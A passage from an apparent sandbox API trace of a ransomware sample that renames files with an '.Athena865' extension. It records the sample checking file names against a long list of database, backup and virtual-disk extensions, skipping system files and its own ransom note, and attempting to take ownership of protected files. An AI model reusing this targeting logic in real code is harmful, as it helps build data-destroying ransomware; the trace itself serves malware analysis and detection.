lstrlenW (lpString="wdb") returned 3 [0035.252] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.252] lstrlenW (lpString="wmdb") returned 4 [0035.252] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.252] lstrlenW (lpString="wrk") returned 3 [0035.252] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.252] lstrlenW (lpString="xdb") returned 3 [0035.252] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.252] lstrlenW (lpString="xld") returned 3 [0035.252] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.252] lstrlenW (lpString="xmlff") returned 5 [0035.252] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.252] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.252] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.252] GetLastError () returned 0x5 [0035.252] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.252] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.252] SetEntriesInAclW () returned 0x0 [0035.252] SetNamedSecurityInfoW () returned 0x5 [0035.252] SetNamedSecurityInfoW () returned 0x5 [0035.252] LocalFree (hMem=0x529490) returned 0x0 [0035.253] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.253] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.253] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x956 [0035.253] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.253] CloseHandle (hObject=0x154) returned 1 [0035.253] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.253] CloseHandle (hObject=0x0) returned 0 [0035.253] CloseHandle (hObject=0x0) returned 0 [0035.254] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xea8e4520, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xea8e4520, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfa616ae0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xcfe8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{9625B~3")) returned 1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.254] lstrlenW (lpString="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.254] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.254] lstrlenW (lpString="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.254] lstrlenW (lpString="Athena865") returned 9 [0035.254] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.254] lstrlenW (lpString=".dll") returned 4 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.254] lstrlenW (lpString=".lnk") returned 4 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.254] lstrlenW (lpString=".ini") returned 4 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.254] lstrlenW (lpString=".sys") returned 4 [0035.254] lstrcmpiW (lpString1="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.254] lstrlenW (lpString="{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.254] lstrlenW (lpString="bak") returned 3 [0035.254] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.254] lstrlenW (lpString="ba_") returned 3 [0035.254] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.254] lstrlenW (lpString="dbb") returned 3 [0035.254] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.255] lstrlenW (lpString="vmdk") returned 4 [0035.255] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.255] lstrlenW (lpString="rar") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.255] lstrlenW (lpString="zip") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.255] lstrlenW (lpString="tgz") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.255] lstrlenW (lpString="vbox") returned 4 [0035.255] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.255] lstrlenW (lpString="vdi") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.255] lstrlenW (lpString="vhd") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.255] lstrlenW (lpString="vhdx") returned 4 [0035.255] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.255] lstrlenW (lpString="avhd") returned 4 [0035.255] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.255] lstrlenW (lpString="db") returned 2 [0035.255] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.255] lstrlenW (lpString="db2") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.255] lstrlenW (lpString="db3") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.255] lstrlenW (lpString="dbf") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.255] lstrlenW (lpString="mdf") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.255] lstrlenW (lpString="mdb") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.255] lstrlenW (lpString="sql") returned 3 [0035.255] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.255] lstrlenW (lpString="sqlite") returned 6 [0035.255] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.255] lstrlenW (lpString="sqlite3") returned 7 [0035.255] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.255] lstrlenW (lpString="sqlitedb") returned 8 [0035.256] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.256] lstrlenW (lpString="xml") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.256] lstrlenW (lpString="$er") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.256] lstrlenW (lpString="4dd") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.256] lstrlenW (lpString="4dl") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.256] lstrlenW (lpString="^^^") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.256] lstrlenW (lpString="abs") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.256] lstrlenW (lpString="abx") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.256] lstrlenW (lpString="accdb") returned 5 [0035.256] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.256] lstrlenW (lpString="accdc") returned 5 [0035.256] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.256] lstrlenW (lpString="accde") returned 5 [0035.256] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.256] lstrlenW (lpString="accdr") returned 5 [0035.256] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.256] lstrlenW (lpString="accdt") returned 5 [0035.256] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.256] lstrlenW (lpString="accdw") returned 5 [0035.256] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.256] lstrlenW (lpString="accft") returned 5 [0035.256] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.256] lstrlenW (lpString="adb") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.256] lstrlenW (lpString="adb") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.256] lstrlenW (lpString="ade") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.256] lstrlenW (lpString="adf") returned 3 [0035.256] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.257] lstrlenW (lpString="adn") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.257] lstrlenW (lpString="adp") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.257] lstrlenW (lpString="alf") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.257] lstrlenW (lpString="ask") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.257] lstrlenW (lpString="btr") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.257] lstrlenW (lpString="cat") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.257] lstrlenW (lpString="cdb") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.257] lstrlenW (lpString="ckp") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.257] lstrlenW (lpString="cma") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.257] lstrlenW (lpString="cpd") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.257] lstrlenW (lpString="dacpac") returned 6 [0035.257] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.257] lstrlenW (lpString="dad") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.257] lstrlenW (lpString="dadiagrams") returned 10 [0035.257] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.257] lstrlenW (lpString="daschema") returned 8 [0035.257] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.257] lstrlenW (lpString="db-journal") returned 10 [0035.257] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.257] lstrlenW (lpString="db-shm") returned 6 [0035.257] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.257] lstrlenW (lpString="db-wal") returned 6 [0035.257] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.257] lstrlenW (lpString="dbc") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.257] lstrlenW (lpString="dbs") returned 3 [0035.257] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.258] lstrlenW (lpString="dbt") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.258] lstrlenW (lpString="dbv") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.258] lstrlenW (lpString="dbx") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.258] lstrlenW (lpString="dcb") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.258] lstrlenW (lpString="dct") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.258] lstrlenW (lpString="dcx") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.258] lstrlenW (lpString="ddl") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.258] lstrlenW (lpString="dlis") returned 4 [0035.258] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.258] lstrlenW (lpString="dp1") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.258] lstrlenW (lpString="dqy") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.258] lstrlenW (lpString="dsk") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.258] lstrlenW (lpString="dsn") returned 3 [0035.258] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.259] lstrlenW (lpString="dtsx") returned 4 [0035.259] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.259] lstrlenW (lpString="dxl") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.259] lstrlenW (lpString="eco") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.259] lstrlenW (lpString="ecx") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.259] lstrlenW (lpString="edb") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.259] lstrlenW (lpString="epim") returned 4 [0035.259] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.259] lstrlenW (lpString="fcd") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.259] lstrlenW (lpString="fdb") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.259] lstrlenW (lpString="fic") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.259] lstrlenW (lpString="flexolibrary") returned 12 [0035.259] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.259] lstrlenW (lpString="fm5") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.259] lstrlenW (lpString="fmp") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.259] lstrlenW (lpString="fmp12") returned 5 [0035.259] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.259] lstrlenW (lpString="fmpsl") returned 5 [0035.259] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.259] lstrlenW (lpString="fol") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.259] lstrlenW (lpString="fp3") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.259] lstrlenW (lpString="fp4") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.259] lstrlenW (lpString="fp5") returned 3 [0035.259] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.259] lstrlenW (lpString="fp7") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.260] lstrlenW (lpString="fpt") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.260] lstrlenW (lpString="frm") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.260] lstrlenW (lpString="gdb") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.260] lstrlenW (lpString="gdb") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.260] lstrlenW (lpString="grdb") returned 4 [0035.260] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.260] lstrlenW (lpString="gwi") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.260] lstrlenW (lpString="hdb") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.260] lstrlenW (lpString="his") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.260] lstrlenW (lpString="ib") returned 2 [0035.260] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.260] lstrlenW (lpString="idb") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.260] lstrlenW (lpString="ihx") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.260] lstrlenW (lpString="itdb") returned 4 [0035.260] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.260] lstrlenW (lpString="itw") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.260] lstrlenW (lpString="jet") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.260] lstrlenW (lpString="jtx") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.260] lstrlenW (lpString="kdb") returned 3 [0035.260] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.261] lstrlenW (lpString="kexi") returned 4 [0035.261] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.261] lstrlenW (lpString="kexic") returned 5 [0035.261] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.261] lstrlenW (lpString="kexis") returned 5 [0035.261] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.261] lstrlenW (lpString="lgc") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.261] lstrlenW (lpString="lwx") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.261] lstrlenW (lpString="maf") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.261] lstrlenW (lpString="maq") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.261] lstrlenW (lpString="mar") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.261] lstrlenW (lpString="marshal") returned 7 [0035.261] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.261] lstrlenW (lpString="mas") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.261] lstrlenW (lpString="mav") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.261] lstrlenW (lpString="maw") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.261] lstrlenW (lpString="mdbhtml") returned 7 [0035.261] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.261] lstrlenW (lpString="mdn") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.261] lstrlenW (lpString="mdt") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.261] lstrlenW (lpString="mfd") returned 3 [0035.261] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.262] lstrlenW (lpString="mpd") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.262] lstrlenW (lpString="mrg") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.262] lstrlenW (lpString="mud") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.262] lstrlenW (lpString="mwb") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.262] lstrlenW (lpString="myd") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.262] lstrlenW (lpString="ndf") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.262] lstrlenW (lpString="nnt") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.262] lstrlenW (lpString="nrmlib") returned 6 [0035.262] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.262] lstrlenW (lpString="ns2") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.262] lstrlenW (lpString="ns3") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.262] lstrlenW (lpString="ns4") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.262] lstrlenW (lpString="nsf") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.262] lstrlenW (lpString="nv") returned 2 [0035.262] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.262] lstrlenW (lpString="nv2") returned 3 [0035.262] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.262] lstrlenW (lpString="nwdb") returned 4 [0035.263] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.263] lstrlenW (lpString="nyf") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.263] lstrlenW (lpString="odb") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.263] lstrlenW (lpString="odb") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.263] lstrlenW (lpString="oqy") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.263] lstrlenW (lpString="ora") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.263] lstrlenW (lpString="orx") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.263] lstrlenW (lpString="owc") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.263] lstrlenW (lpString="p96") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.263] lstrlenW (lpString="p97") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.263] lstrlenW (lpString="pan") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.263] lstrlenW (lpString="pdb") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.263] lstrlenW (lpString="pdm") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.263] lstrlenW (lpString="pnz") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.263] lstrlenW (lpString="qry") returned 3 [0035.263] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.264] lstrlenW (lpString="qvd") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.264] lstrlenW (lpString="rbf") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.264] lstrlenW (lpString="rctd") returned 4 [0035.264] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.264] lstrlenW (lpString="rod") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.264] lstrlenW (lpString="rodx") returned 4 [0035.264] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.264] lstrlenW (lpString="rpd") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.264] lstrlenW (lpString="rsd") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.264] lstrlenW (lpString="sas7bdat") returned 8 [0035.264] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.264] lstrlenW (lpString="sbf") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="sbf") 